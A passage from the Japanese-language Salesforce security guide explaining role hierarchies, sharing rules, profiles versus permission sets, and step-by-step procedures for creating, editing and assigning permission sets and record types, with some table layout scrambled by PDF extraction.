クセスのレベルを示します。ロール階層によって、組織の共有設定に関係なく、階層の上位のユーザは
常に階層の下位のユーザと同じデータにアクセスできます。組織図に一致する代わりに、階層の各ロー
ルでユーザまたはユーザグループが必要とするデータのアクセスレベルを示すことができます。
同様に、テリトリー階層を使用して、レコードへのアクセス権限を共有することができます。「テリト
リーレコードのデフォルトのユーザアクセス権の定義」を参照してください。

メモ: 権限セットとプロファイルとロールは混同しやすいですが、2 つの異なる点を制御します。
権限セットおよびプロファイルは、ユーザのオブジェクトレベルおよび項目のアクセス権限を制御
します。ロールは主に、ユーザのレコードレベルのアクセス権を、ロール階層および共有ロールを
介して制御します。

• 共有ルール
共有ルールでは、特定のユーザセットを対象に、組織全体の共有設定に自動的な例外を設けることがで
きます。共有ルールを使用して、所有していないレコードや通常は参照できないレコードへのアクセス
権をこれらのユーザに付与します。ロール階層と同様、共有ルールは、レコードに対する追加のユーザ
アクセス権を許可するためだけに使用され、組織の共有設定に比べて厳密な制限ではありません。

• 共有の直接設定
特定のレコードセットに対するアクセス権限を必要とするユーザの一貫性のあるグループを定義するこ
とが必要な場合があります。レコード所有者は共有の直接設定を使用して、アクセス権限を持たない
ユーザに参照権限および編集権限を与えます。共有の直接設定は組織の共有設定、ロール階層、または
共有ルールのように自動化されていません。ただし、レコード所有者に、レコードを参照する必要があ
るユーザと特定のレコードを共有する柔軟性を提供します。

• Apex による共有管理
共有ルールと共有の直接設定で必要な制御が提供されない場合、Apex による共有管理を使用できます。
Apex による共有管理により、開発者はプログラムでカスタムオブジェクトを共有できます。Apex による
共有管理を使用してカスタムオブジェクトを共有した場合は、「すべてのデータの編集」権限を持つ
ユーザのみが、カスタムオブジェクトのレコードの共有を追加または変更できます。共有アクセス権
は、レコード所有者が変わっても維持されます。
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ユーザ権限
エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience

使用できるユーザ権限
は、使用しているエディ
ションによって異なりま
す。

ユーザ権限によって、ユーザが実行できるタスクとユーザがアクセスできる機
能が指定されます。たとえば「設定・定義を参照する」権限を持つユーザは [設
定] ページを表示でき、「API の有効化」権限を持つユーザはすべての Salesforce

API にアクセスできます。
ユーザ権限は、権限セットおよびカスタムプロファイルで有効にできます。権
限セットおよび拡張プロファイルユーザインターフェースでは、これらの権限
とその説明が [アプリケーション権限] または [システム権限] ページに一覧表示
されます。元のプロファイルユーザインターフェースでは、ユーザ権限が [シス
テム管理者権限] および [一般ユーザ権限] ページに一覧表示されます。
権限とその説明を表示するには、[設定] から、[クイック検索]ボックスに「権限
セット」と入力し、[権限セット]を選択して、権限セットを選択または作成しま
す。次に、[権限セット概要] ページから [アプリケーション権限] または [システ
ム権限] をクリックします。

このセクションの内容:

ユーザ権限およびアクセス
ユーザ権限およびアクセス設定は、プロファイルと権限セットで指定します。効果的に使用するには、プ
ロファイルと権限セットの違いを理解します。
権限セット
権限セットは、さまざまなツールと機能へのアクセス権をユーザに付与する設定と権限のコレクションで
す。権限セットは、ユーザのプロファイルを変更せずにユーザの機能アクセス権を拡張します。
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ユーザ権限およびアクセス

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience

使用できる権限と設定
は、使用している
Salesforce エディションに
よって異なります。

権限セットを使用可能な
エディション: Essentials
Edition、Contact Manager
Edition、Professional
Edition、Group Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限およびアクセス設定は、プロファイルと権限セットで指定します。
効果的に使用するには、プロファイルと権限セットの違いを理解します。
ユーザ権限およびアクセス設定では、組織内でユーザが実行できる内容を指定
します。
• 権限は、オブジェクトレコードを編集したり、[設定] メニューを参照したり、

ごみ箱を完全に削除したり、ユーザのパスワードをリセットしたりできるか
どうかを決定します。

• アクセス設定は、Apex クラスへのアクセス、アプリケーションの表示、ユー
ザがログインできる時間などのその他の機能を決定します。

すべてのユーザに割り当てることができるプロファイルは 1 つのみですが、権
限セットは複数持つことができます。ユーザのアクセス権を決定する場合、プ
ロファイルを使用してユーザの特定のグループに最小限権限およびアクセス設
定を割り当てます。次に、必要に応じて権限セットを使用して追加権限を付与
します。
次の表に、プロファイルおよび権限セットで指定される権限の種類およびアク
セス設定を示します。

権限セットでは?プロファイルでは?権限または設定種別

割り当てられたアプリ
ケーション

タブ設定

レコードタイプの割り当
て

ページレイアウトの割り
当て

オブジェクト権限

項目権限

ユーザ権限 (アプリケー
ションおよびシステム)

Apex クラスのアクセス

Visualforce ページのアクセ
ス

外部データソースへのア
クセス
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権限セットでは?プロファイルでは?権限または設定種別

サービスプロバイダアクセス
(Salesforce が ID プロバイダとして有
効な場合)

カスタム権限

ログイン時間帯

ログイン IP の範囲

このセクションの内容:

権限とアクセス権の無効化
プロファイルと権限セットを使用して、アクセス権を付与できますが、アクセス拒否を設定することはで
きません。プロファイルまたは権限セットのいずれかで許可された権限が優先されます。たとえば、プロ
ファイルで「所有権の移行」が有効化されていなくても、権限セットで有効化されている場合、所有して
いるかどうかに関係なく、所有権を移行できます。権限を無効にするには、ユーザから権限のすべてのイ
ンスタンスを削除する必要があります。

権限とアクセス権の無効化

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience

使用可能なエディション:
Essentials Edition、Contact
Manager Edition、
Professional Edition、
Group Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

プロファイルと権限セットを使用して、アクセス権を付与できますが、アクセ
ス拒否を設定することはできません。プロファイルまたは権限セットのいずれ
かで許可された権限が優先されます。たとえば、プロファイルで「所有権の移
行」が有効化されていなくても、権限セットで有効化されている場合、所有し
ているかどうかに関係なく、所有権を移行できます。権限を無効にするには、
ユーザから権限のすべてのインスタンスを削除する必要があります。

結果アクション

プロファイルまたは権限セットに割り
当てられている他のすべてのユーザの
権限またはアクセス設定が無効化され
ます。

権限を無効化する、またはプロファイ
ルのアクセス設定とユーザに割り当て
られているすべての権限セットを削除
します。

ユーザは、プロファイルまたは権限
セットに関連付けられている他の権限
またはアクセス設定を失う可能性があ
ります。

ユーザプロファイルで、権限またはア
クセス設定が有効化されている場合、
ユーザに別のプロファイルを割り当て
ます。
および
ユーザに割り当てられている権限セッ
トで、権限またはアクセス設定が有効
化されている場合、ユーザのその権限
セットの割り当てを削除します。
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いずれの場合も結果を解決するには、すべての選択肢を検討します。たとえば、権限またはアクセス設定が有
効化されている、割り当てられたプロファイルまたは割り当てられている権限セットをコピーできます。次
に、権限またはアクセス設定を無効化して、コピーしたプロファイルまたは権限セットをユーザに割り当てま
す。もう 1 つの方法として、できるだけ多くのユーザを表せるように最小限の権限と設定を含む基本プロファ
イルを作成します。次に、権限セットを作成して他のアクセス権を付与します。

権限セット

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience

使用可能なエディション:
Essentials Edition、Contact
Manager Edition、
Professional Edition、
Group Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

権限セットは、さまざまなツールと機能へのアクセス権をユーザに付与する設
定と権限のコレクションです。権限セットは、ユーザのプロファイルを変更せ
ずにユーザの機能アクセス権を拡張します。
ユーザが使用できるプロファイルは 1 つのみですが、Salesforce エディションに
よっては複数の権限セットを使用できます。権限セットは、プロファイルとは
関係なく、さまざまな種別のユーザに割り当てることができます。
主な職務に関係なく、ユーザの論理グループ別にアクセス権を付与する権限セッ
トを作成します。たとえば、リードを削除して移行する必要がある複数のユー
ザがいるとします。ユーザが実行する必要があるタスクに基づいて権限セット
を作成し、職務に基づいて権限セットグループ内に権限セットを含めることが
できます。
権限がプロファイルでは無効で権限セットでは有効化されている場合、そのプ
ロファイルと権限セットを持つユーザには権限が付与されます。たとえば、ユー
ザのプロファイルで「パスワードポリシーの管理」が有効化されていなくても、
そのユーザの権限セットの 1 つで有効化されている場合、パスワードポリシー
を管理できます。
権限セットの概要ページは、権限セットのすべての権限への開始点となります。権限セットの概要ページを開
くには、[設定] から、[クイック検索] ボックスに「権限セット」と入力し、[権限セット] を選択して、表示す
る権限セットを選択します。

このセクションの内容:

権限セットリストビューの作成と編集
権限セットリストビューを作成、編集して、特定の項目と権限が設定された権限セットのリストを表示で
きます。たとえば、「すべてのデータの編集」が有効になっているすべての権限セットのリストビューを
作成できます。
リストビューからの権限セットの編集
個々の権限セットにアクセスしなくても、直接リストビューから最大 200 件の権限セットの権限を変更で
きます。
権限セットでのアプリケーションおよびシステムの設定
権限セットの権限と設定は、アプリケーションおよびシステムカテゴリに整理されます。これらのカテゴ
リには、システムおよびアプリケーションリソースを管理および使用するためにユーザに必要な権限が反
映されます。
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権限セットの [割り当てられたユーザ] ページ
[割り当てられたユーザ] ページから、権限セットに割り当てられたすべてのユーザを表示することや、そ
の他のユーザを割り当てること、ユーザ割り当てを削除することができます。
権限セットの検索
権限セットの別のページにすばやく移動するには、権限セットの詳細ページで検索語を入力します。
権限セットでの割り当てられたアプリケーションの参照と編集
割り当てられたアプリケーション設定では、Lightning Platform アプリケーションメニューで選択できるアプ
リケーションを指定します。
権限セットでのカスタムレコードタイプの割り当て
権限セットでのカスタム権限の有効化
カスタム権限により、カスタムプロセスまたはカスタムアプリケーションへのアクセス権を付与できます。
カスタム権限を作成してプロセスまたはアプリケーションに関連付けたら、権限セットでその権限を有効
化できます。
権限セットの割り当ての管理
ユーザの詳細ページから 1 人のユーザに権限セットを割り当てることや、任意の権限セットページから複
数のユーザに権限セットを割り当てることができます。

権限セットリストビューの作成と編集

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience

使用可能なエディション:
Essentials Edition、Contact
Manager Edition、
Professional Edition、
Group Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

権限セットリストビュー
を作成、編集、および削
除する
• 「プロファイルと権限

セットの管理」

権限セットリストビューを作成、編集して、特定の項目と権限が設定された権
限セットのリストを表示できます。たとえば、「すべてのデータの編集」が有
効になっているすべての権限セットのリストビューを作成できます。
1. [権限セット] ページで、[新規ビューの作成] をクリックするか、ビューを選

択して [編集] をクリックします。
2. ビュー名を入力します。
3. [検索条件の指定] で、「すべてのデータの編集 次の文字列と一致する True」

など、リスト項目が一致する必要がある条件を指定します。
a. 設定名を入力するか、 をクリックして検索し、必要な設定を選択

します。
b. 検索条件の演算子を選択します。
c. 一致する必要がある値を入力します。

ヒント: ユーザライセンスがない権限セットのみを表示するには、
[設定] に「ユーザライセンス」と入力して、[演算子] を equals に
設定し、[値] 項目に「""」と入力します。

d. 別の検索条件を指定するには、[行を追加]をクリックします。検索条件行
は、25 行まで指定できます。

4. [表示する項目の選択] で、リストビューの列として表示する設定を指定しま
す。15 列まで追加できます。
a. [検索] ドロップダウンリストから、設定種別を選択します。
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b. 追加する設定の最初の数文字を入力し、[検索] をクリックします。

メモ: 検索で 500 個を超える値が検出されると、結果は表示されません。検索条件を絞り込み、表
示される検索結果の数を減らしてください。

5. [保存] をクリックするか、既存のビューをコピーする場合は、名前を変更して [別名で保存] をクリックし
ます。

リストビューからの権限セットの編集

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience

使用可能なエディション:
Essentials Edition、Contact
Manager Edition、
Professional Edition、
Group Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

リストビューから複数の
権限セットを編集する
• 「プロファイルと権限

セットの管理」

個々の権限セットにアクセスしなくても、直接リストビューから最大 200 件の権
限セットの権限を変更できます。

メモ: この方法で権限セットを編集するときには注意してください。一括
変更を行うと、組織内のユーザに対して広範囲の影響が及ぶ可能性があり
ます。

1. 編集する権限セットと権限を含むリストビューを作成または選択します。
2. 複数の権限セットを編集するには、編集する各権限セットの横にあるチェッ

クボックスをオンにします。複数ページの権限セットを選択した場合、各
ページの選択は記憶されます。

3. 編集する権限をダブルクリックします。複数の権限セットの場合は、選択し
た権限セットのいずれかにある権限をダブルクリックします。

4. 表示されるダイアログボックスで、その権限を有効または無効にします。あ
る権限を変更すると、その他の権限も変更される場合があります。たとえ
ば、「ケースの管理」と「ケース所有者の移行」が権限セットで有効になっ
ている場合は、「ケース所有者の移行」を無効にすると、「ケースの管理」
も無効になります。この場合は、ダイアログボックスに影響を受ける権限が
一覧表示されます。

5. 複数の権限セットを変更するには、[選択した n件のすべてのレコード] (nは
選択した権限セット数) を選択します。

6. [保存] をクリックします。
複数の権限セットを編集する場合は、編集権限のある権限セットのみが変更さ
れます。たとえば、インライン編集を使用して 10 個の権限セットの「すべての
データの編集」を有効化し、1 つの権限セットには「すべてのデータの編集」権限がないとします。この場
合、「すべてのデータの編集」権限がない権限セット以外のすべての権限セットで「すべてのデータの編集」
が有効になります。
すべての変更が、設定変更履歴に記録されます。

21

ユーザ権限Salesforce セキュリティガイド

https://help.salesforce.com/apex/HTViewHelpDoc?id=overview_edition_lex_only.htm&language=ja#overview_edition_lex_only
https://help.salesforce.com/apex/HTViewHelpDoc?id=overview_edition_lex_only.htm&language=ja#overview_edition_lex_only


権限セットでのアプリケーションおよびシステムの設定

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience

使用可能なエディション:
Essentials Edition、Contact
Manager Edition、
Professional Edition、
Group Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

権限セットの権限と設定は、アプリケーションおよびシステムカテゴリに整理
されます。これらのカテゴリには、システムおよびアプリケーションリソース
を管理および使用するためにユーザに必要な権限が反映されます。

アプリケーション設定
アプリケーションは一連のタブで構成され、ユーザがヘッダーのドロップダウ
ンメニューを選択して変更できます。どのアプリケーションを選択しても、基
礎となるオブジェクト、コンポーネント、データ、および設定はすべて同じで
す。アプリケーションを選択するとき、ユーザは一連のタブを移動することで
基礎となる機能を効率よく使用してアプリケーション固有のタスクを実行でき
ます。たとえば、ほとんどの作業を、[取引先] や [商談] のようなタブが含まれる
営業アプリケーションで行うとします。新しいマーケティングキャンペーンを
追跡するには、[キャンペーン] タブを営業アプリケーションに追加するのではな
く、アプリケーションドロップダウンから [マーケティング] を選択してキャン
ペーンとキャンペーンメンバーを参照します。
権限セット概要ページの [アプリケーション] セクションには、アプリケーショ
ンで実現されるビジネスプロセスに直接関連付けられた設定が含まれます。た
とえば、カスタマーサービスエージェントはケースを管理する必要があるため、「ケースの管理」権限は、
[アプリケーション権限] ページの [コールセンター] セクションにあります。アプリケーション設定には、アプ
リケーション権限に関連していないものもあります。たとえば、AppExchange から休暇管理アプリケーション
を有効にするには、ユーザには該当する Apex クラスと Visualforce ページへのアクセス権と、新しい休暇要求を
作成するためのオブジェクト権限および項目権限が必要です。

システム設定
一部のシステムの機能は、組織に適用され、単独のアプリケーションには適用されません。たとえば、「設
定・定義を参照する」では設定および管理設定ページを参照できます。その他のシステム機能はすべてのアプ
リケーションに適用されます。たとえば、「レポート実行」または「ダッシュボードの管理」権限は、管理者
がすべてのアプリケーションでレポートを作成および管理できるようにします。場合によっては、「すべての
データの編集」のように、権限はすべてのアプリケーションだけでなく、データローダのダウンロード機能な
ど、アプリケーション以外の機能にも適用されます。
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権限セットの [割り当てられたユーザ] ページ

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience

使用可能なエディション:
Essentials Edition、Contact
Manager Edition、
Professional Edition、
Group Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

権限セットに割り当てら
れたユーザを参照する
• 「設定・定義の参照」

[割り当てられたユーザ] ページから、権限セットに割り当てられたすべてのユー
ザを表示することや、その他のユーザを割り当てること、ユーザ割り当てを削
除することができます。
権限セットに割り当てられたすべてのユーザを表示するには、権限セットペー
ジから [割り当ての管理] をクリックします。[割り当てられたユーザ] ページで
は、次の操作を実行できます。
• ユーザを権限セットに割り当てる
• 権限セットからユーザ割り当てを削除する
• ユーザを編集する
• 名前、別名、またはユーザ名をクリックしてユーザの詳細ページを参照する
• プロファイル名をクリックしてプロファイルを表示する
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権限セットの検索

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience

使用可能なエディション:
Essentials Edition、Contact
Manager Edition、
Professional Edition、
Group Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

権限セットを検索する
• 「設定・定義の参照」

権限セットの別のページにすばやく移動するには、権限セットの詳細ページで
検索語を入力します。
いずれかの権限セットの詳細ページで、 [設定の検索...]ボックスにオブジェ
クト、設定、または権限の名前から連続して 3 文字以上を入力します。検索語
では、大文字と小文字は区別されません。入力すると、検索語に一致する結果
の提案がリストに表示されます。リストの項目をクリックするとその設定ペー
ジに移動します。
一部のカテゴリでは、特定の権限または設定の名前を検索できます。他のカテ
ゴリでは、カテゴリの名前ほ検索します。

例検索項目

[設定の検索] ボックスに「セールス」
と入力し、リストから [セールス] を
選択します。

アプリケーション
名

割り当てられたア
プリケーション

Albums カスタムオブジェクトがあると
します。「albu」と入力し、
[Albums] を選択します。

オブジェクト名オブジェクト

Description 項目を含む Albums オブジェ
クトがあるとします。Albums の [説明]

項目を検索するには、「albu」と入力

親オブジェクト名• 項目
• レコードタイ

プ し、[Albums] を選択し、[項目権限]

で [説明] までスクロールします。

「レポー」と入力し、[レポート]を選
択します。

タブまたは親オブ
ジェクト名

タブ

「api」と入力し、[API の有効化]を
選択します。

権限名アプリケーション
権限およびシステ
ム権限

Apex クラスのアクセス設定を検索する
には、「apex」と入力し、[Apex ク

カテゴリ名他のすべてのカテ
ゴリ

ラスアクセス] を選択します。カスタ
ム権限を検索するには、「cust」と入
力し、[カスタム権限]を選択します。
他のカテゴリについても同じです。

結果が返されなくても心配はいりません。次のヒントを参考にしてください。
• オブジェクト、設定、または権限名に一致する連続する 3 文字以上が検索語に含まれていることを確認し

ます。
• 検索対象の権限、オブジェクト、設定が、現在の Salesforce 組織では使用できない可能性があります。
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• 検索対象の項目が、現在の権限セットに関連付けられているユーザライセンスでは使用できない可能性が
あります。たとえば、標準 Platform ユーザライセンスに関連する権限セットには、「すべてのデータの編
集」権限は含まれません。

• 権限セットに関連付けられた権限セットライセンスに、検索しているオブジェクト、設定、または権限名
が含まれていません。

権限セットでの割り当てられたアプリケーションの参照と編集

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience

使用可能なエディション:
Essentials Edition、Contact
Manager Edition、
Professional Edition、
Group Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

割り当てられたアプリ
ケーション設定を編集す
る
• 「プロファイルと権限

セットの管理」

割り当てられたアプリケーション設定では、Lightning Platform アプリケーション
メニューで選択できるアプリケーションを指定します。
プロファイルとは異なり、権限セットではデフォルトのアプリケーションを割
り当てることはできません。アプリケーションを表示するかどうかのみを指定
できます。
アプリケーションを割り当てる手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「権限セット」と入力し、[権限セッ

ト] を選択します。
2. 権限セットを選択するか、新規で作成します。
3. 権限セットの概要ページで、[割り当てられたアプリケーション] をクリック

します。
4. [編集] をクリックします。
5. アプリケーションを割り当てるには、[選択可能なアプリケーション] リスト

でアプリケーションを選択してから [追加] をクリックします。権限セットか
らアプリケーションを削除するには、[選択可能なアプリケーション] リスト
でアプリケーションを選択してから [削除] をクリックします。

6. [保存] をクリックします。
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権限セットでのカスタムレコードタイプの割り当て

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience

レコードタイプを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

権限セットでレコードタ
イプを割り当てる
• 「プロファイルと権限

セットの管理」

1. [設定] から、[クイック検索] ボックスに「権限セット」と入力し、[権限セッ
ト] を選択します。

2. 権限セットを選択するか、新規で作成します。
3. 権限セットの概要ページで [オブジェクト設定] をクリックし、目的のオブ

ジェクトをクリックします。
4. [編集] をクリックします。
5. この権限セットに割り当てるレコードタイプを選択します。
6. [保存] をクリックします。

このセクションの内容:

レコードタイプへのアクセスの指定方法
プロファイルまたは権限セット (または権限セットグループ)、またはこれら
の組み合わせでレコードタイプをユーザに割り当てます。レコードタイプの
割り当ては、プロファイルと権限セットでは動作が異なります。

レコードタイプへのアクセスの指定方法

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

プロファイルまたは権限セット (または権限セットグループ)、またはこれらの組
み合わせでレコードタイプをユーザに割り当てます。レコードタイプの割り当
ては、プロファイルと権限セットでは動作が異なります。
レコードタイプを割り当てる前に、Salesforce 組織で使用可能なさまざまなタイ
プを理解しておいてください。レコード作成の動作は、割り当てられたレコー
ドタイプと、プロファイルまたは権限セット (または権限セットグループ) のど
れを使用してレコードタイプを割り当てるかに応じて異なります。
• デフォルトのレコードタイプ: ユーザのデフォルトのレコードタイプは、ユー

ザのプロファイルで指定されます。ユーザは、個人設定でデフォルトのレ
コードタイプを表示してレコードタイプの選択を編集できます。デフォルト
のレコードタイプを権限セットで指定することはできません。

• マスタレコードタイプ:

– プロファイル: プロファイルでマスタレコードタイプを割り当てることが
できますが、プロファイルにカスタムレコードタイプを含めることはで
きません。

– 権限セット: 権限セットではカスタムレコードタイプのみを割り当てることができ、マスタレコードタ
イプは割り当てられません。
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次の表は、ユーザがさまざまなレコードタイプの割り当ての組み合わせを使用してレコードを作成したときの
動作の例です。

ユーザがレコードを作成したとき
の動作

権限セット (または権限セットグ
ループ) で割り当てられるカスタム
レコードタイプ

プロファイルで割り当てられたレ
コードタイプ

新規レコードはマスタレコードタ
イプに関連付けられます。

なし--マスタ--

新規レコードはカスタムレコード
タイプに関連付けられます。ユー

1--マスタ--

ザはマスタレコードタイプを選択
できません。

ユーザはレコードタイプの選択を
促されます。

複数--マスタ--

ユーザはレコードタイプの選択を
促されます。個人設定では、ユー

1 つ以上カスタム

ザのデフォルトのレコードタイプ
を使用するオプションを設定し、
レコードタイプの選択を促されな
いようにできます。

レコードタイプの割り当てを使用するときは、次の考慮事項に注意してください。
• ページレイアウトの割り当てはプロファイルでのみ指定でき、権限セットでは指定できません。権限セッ

トでカスタムレコードタイプを割り当てると、その権限セットを持つユーザには、プロファイルでそのレ
コードタイプに指定されたページレイアウトの割り当てが付与されます。プロファイルでは、ページレイ
アウトの割り当ては、レコードタイプが割り当てられていなくても、すべてのレコードタイプに対して指
定されます。

• リード変換のデフォルトレコードタイプは、変換済みレコードのユーザのプロファイルで指定されます。
• ユーザのプロファイルまたは権限セット (または権限セットグループ) でのレコードタイプの割り当てでは、

ユーザがそのレコードタイプのレコードを参照できるかどうかは決まりません。レコードタイプの割り当
ては、単にユーザがレコードを作成または編集するときにそのレコードタイプを使用できることを指定し
ます。
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権限セットでのカスタム権限の有効化

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience の両方

使用可能なエディション:
Essentials Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

Group Edition および
Professional Edition 組織で
は、カスタム権限の作
成、編集は実行できませ
んが、管理パッケージの
一部としてカスタム権限
をインストールできま
す。

ユーザ権限

権限セットでカスタム権
限を有効にする
• 「プロファイルと権限

セットの管理」

カスタム権限により、カスタムプロセスまたはカスタムアプリケーションへの
アクセス権を付与できます。カスタム権限を作成してプロセスまたはアプリケー
ションに関連付けたら、権限セットでその権限を有効化できます。
1. [設定] から、[クイック検索] ボックスに「権限セット」と入力し、[権限セッ

ト] を選択します。
2. 権限セットを選択するか、新規で作成します。
3. 権限セットの概要ページで、[カスタム権限] をクリックします。
4. [編集] をクリックします。
5. カスタム権限を有効にするには、[利用可能なカスタム権限] リストで権限を

選択し、[追加] をクリックします。権限セットからカスタム権限を削除する
には、[有効化されたカスタム権限] リストでアプリケーションを選択してか
ら [削除] をクリックします。

6. [保存] をクリックします。
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権限セットの割り当ての管理

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience

使用可能なエディション:
Essentials Edition、Contact
Manager Edition、
Professional Edition、
Group Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザの詳細ページから 1 人のユーザに権限セットを割り当てることや、任意
の権限セットページから複数のユーザに権限セットを割り当てることができま
す。

このセクションの内容:

1 人のユーザへの権限セットの割り当て
ユーザの詳細ページから、1 人のユーザに権限セットを割り当てることや、
権限セットの割り当てを削除することができます。
複数ユーザへの権限セットの割り当て
いずれかの権限セットページから、1 人以上のユーザに権限セットを割り当
てます。
権限セットからのユーザ割り当ての削除
任意の権限セットページで、1 人以上のユーザから権限セットの割り当てを
削除できます。

1 人のユーザへの権限セットの割り当て

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience

使用可能なエディション:
Essentials Edition、Contact
Manager Edition、
Professional Edition、
Group Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

権限セットを割り当てる
• 「権限セットの割り当

て」

および

「設定・定義の参照」

ユーザの詳細ページから、1 人のユーザに権限セットを割り当てることや、権限
セットの割り当てを削除することができます。
[権限セットの割り当て] ページには、次の権限セットが表示されます。
• 関連するライセンスのない権限セット。たとえば、権限セットのライセンス

の種類に [なし]が選択されている場合、その権限セットを割り当てることが
できます。権限セットで有効化されるすべての設定と権限がユーザのライセ
ンスで許可されることを確認します。選択された権限がユーザのライセンス
で許可されない場合、割り当ては失敗します。

• ユーザのライセンスと一致する権限セット。たとえば、ユーザのライセンス
が Chatter Only である場合、Chatter Only ライセンスを持つ権限セットを割り当
てることができます。

• 権限セットライセンスに固有の権限セット。「Identity」という名前の権限セッ
トを作成して、その権限セットを「Identity Connect」権限セットライセンスに
関連付けたとします。ユーザを「Identity」に割り当てると、ユーザは Identity

Connect 権限セットライセンスで使用できるすべての機能を受け取ります。

メモ: 権限の中には、権限を付与する前に、ユーザが権限セットライセン
スを所有していることが要求されるものがあります。たとえば、「Identity

Connect を使用」ユーザ権限を Identity 権限セットに追加する場合は、Identity

Connect 権限セットライセンスを持つユーザのみを権限セットに割り当てる
ことができます。

1. [Setup (設定)] から、[Quick Find (クイック検索)]ボックスに「Users (ユー
ザ)」と入力し、[User (ユーザ)] を選択します。

2. ユーザを選択します。
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3. [権限セットの割り当て] 関連リストで、[割り当ての編集] をクリックします。
4. 権限セットを割り当てるには、[選択可能な権限セット] で権限セットを選択して[追加]をクリックします。

権限セットの割り当てを削除するには、[有効な権限セット] から権限セットを選択して [削除] をクリック
します。

5. [保存] をクリックします。

ヒント: この操作および他の管理タスクは、SalesforceA モバイルアプリケーションから実行できます。

複数ユーザへの権限セットの割り当て

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience

使用可能なエディション:
Essentials Edition、Contact
Manager Edition、
Professional Edition、
Group Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

権限セットを割り当てる
• 「権限セットの割り当

て」

および

「設定・定義の参照」

いずれかの権限セットページから、1 人以上のユーザに権限セットを割り当てま
す。
1. ユーザに割り当てる権限セットを選択します。
2. [割り当ての管理] をクリックして、[割り当てを追加] をクリックします。
3. 権限セットに割り当てるユーザ名の横にあるチェックボックスをオンにし

て、[割り当て] をクリックします。
成功を示すメッセージ、または割り当てに必要なライセンスがユーザにないこ
とを示すメッセージが表示されます。
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権限セットからのユーザ割り当ての削除

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience

使用可能なエディション:
Essentials Edition、Contact
Manager Edition、
Professional Edition、
Group Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

権限セットの割り当てを
削除する
• 「権限セットの割り当

て」

任意の権限セットページで、1 人以上のユーザから権限セットの割り当てを削除
できます。
1. [設定] から、[クイック検索] ボックスに「権限セット」と入力し、[権限セッ

ト] を選択します。
2. 権限セットを選択します。
3. [権限セット] ツールバーで、[割り当ての管理] をクリックします。
4. この権限セットから削除するユーザを選択します。

1 回に最大 1000 人のユーザを削除できます。
5. [割り当てを削除] をクリックします。

このボタンは、1 人以上のユーザが選択されている場合にのみ使用できます。
6. 権限セットに割り当てられているすべてのユーザのリストに戻るには、[完

了] をクリックします。

オブジェクトの権限
エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

オブジェクトの権限は、ユーザが各オブジェクトのレコードを作成、参照、編
集、および削除するために必要な基本レベルのアクセス権限を指定します。権
限セットおよびプロファイルでオブジェクト権限を管理できます。
オブジェクト権限には、共有ルールと共有設定を遵守するものと上書きするも
のがあります。次の権限は、オブジェクトに対するアクセス権限を指定します。

共有の遵守と上書
き

説明権限

共有の遵守このレコードタイプの参照のみが許可
されます。

参照

共有の遵守レコードの参照と作成が許可されま
す。

作成

共有の遵守レコードの参照と更新が許可されま
す。

編集
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共有の遵守と上書き説明権限

共有の遵守レコードの参照、編集、および削除が許可されます。削除

共有の上書き共有設定に関係なく、このオブジェクトに関連付けら
れたすべてのレコードの表示が許可されます。

すべて表示

共有の上書き共有設定に関係なく、このオブジェクトに関連付けら
